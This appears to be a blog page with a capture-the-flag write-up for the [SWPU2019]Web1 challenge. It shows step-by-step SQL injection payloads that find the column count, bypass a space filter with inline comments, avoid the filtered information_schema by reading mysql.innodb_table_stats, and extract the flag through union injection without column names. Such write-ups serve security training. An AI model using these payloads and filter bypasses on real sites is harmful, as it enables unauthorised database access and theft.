当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:59:00 【pakho_C】
[SWPU2019]Web1
Try to register as admin,It shows that it already exists, but the blasting password is not revealed
Register a test account to log in
Apply to advertise
Attempt injection
Try using single quotes, and an error is reported
ExistenceInject, try the passcode

there is filtering, try to fuzz, but limit the number of times and do not allow the same ad title
soCan only test manually, filter or order floor updatexml # - etc, and automatically eliminate spaces, try to inline comments /**/bypass
Since or is filtered, then information_schema can't be used, only no columns can be usedName injection, refer to: SQL injection without column name injection
1. Use group by to get the number of columns: 1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
the number of columns is 22
2. Use union query to view echo points: -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
The echo point is 2 3
When looking up the table name, it is found that or is filtered and cannot be bypassed by capitalization and double writing, so information_schema cannot be used because it contains or.There are two ways to bypass
InnoDb Engine
Starting from MYSQL5.5.8, InnoDB has become its default storage engine.In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats, both of which store information about the database and its data tables, but do not store column names.
sys database
In MYSQL above 5.7, a new sys database is added. The basic data of this library comes from information_schema and performance_chema, which does not store data itself.The table name can be obtained through the schema_auto_increment_columns in it.
Note: The sys library requires root privileges to access.innodb is disabled by default in mysql.
3. Use innodb to bypass and view the table name: -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
Get the table name ads users
4. Use columnless injection to view the content of the second field in the users table:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1Note: Select 1, 2, 3 used for joint injection here can be tested. If they do not match, there will be a reminder
Measured as 3 columns
Get the field name flag, then the first value in the third field is flag
Change the column to be queried to 3.
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
- 2022 Hangzhou Electric Multi-School 1st Game
- 国学*周易*梅花易数 代码实现效果展示 - 梅花心易
- Android实战开发-Kotlin教程(入门篇-登录功能实现 3.3)
- Mysql的redo log详解
- Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
- flink读取mongodb数据源
- YYGH-13-客服中心
- public static
List asList(T... a) What is the prototype? - Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
- Use CH341A to program external Flash (W25Q16JV)
猜你喜欢

JeeSite新建报表

There are several common event handling methods in Swing?How to listen for events?

Use Unity to publish APP to Hololens2 without pit tutorial

运维监控系统之Open-Falcon

商业智能BI业务分析思维:现金流量风控分析(一)营运资金风险

Getting Started with Kubernetes Networking

35岁的软件测试工程师,月薪不足2W,辞职又怕找不到工作,该何去何从?

数据库设计的酸(ACID)碱(BASE)原则

Solana NFT开发指南

UE4 第一人称角色模板 添加蹲伏功能
随机推荐
MySql的索引学习和使用;(本人觉得足够详细)
DEJA_VU3D - Cesium功能集 之 057-百度地图纠偏
Hard power or soft power, which is more important to testers?
七夕节赚徽章拉
Burp installation and proxy settings
UE4 为子弹蓝图添加声音和粒子效果
ffmpeg 枚举decoders, encoders 分析
[MRCTF2020]Ezpop(详解)
Summary of common methods of arrays
bytebuffer put flip compact clear 方法演示
Redis key基本命令
Android实战开发-Kotlin教程(入门篇-登录功能实现 3.3)
Call Alibaba Cloud oss and sms services
2022.8.4-----leetcode.1403
事件解析树Drain3使用方法和解释
How to solve the three major problems of bank data collection, data supplementary recording and index management?
BI业务分析思维:现金流量风控分析(二)信用、流动和投资风险
pyqt5 + socket 实现客户端A经socket服务器中转后主动向客户端B发送文件
四位数显表头设计
日志导致线程Block的这些坑,你不得不防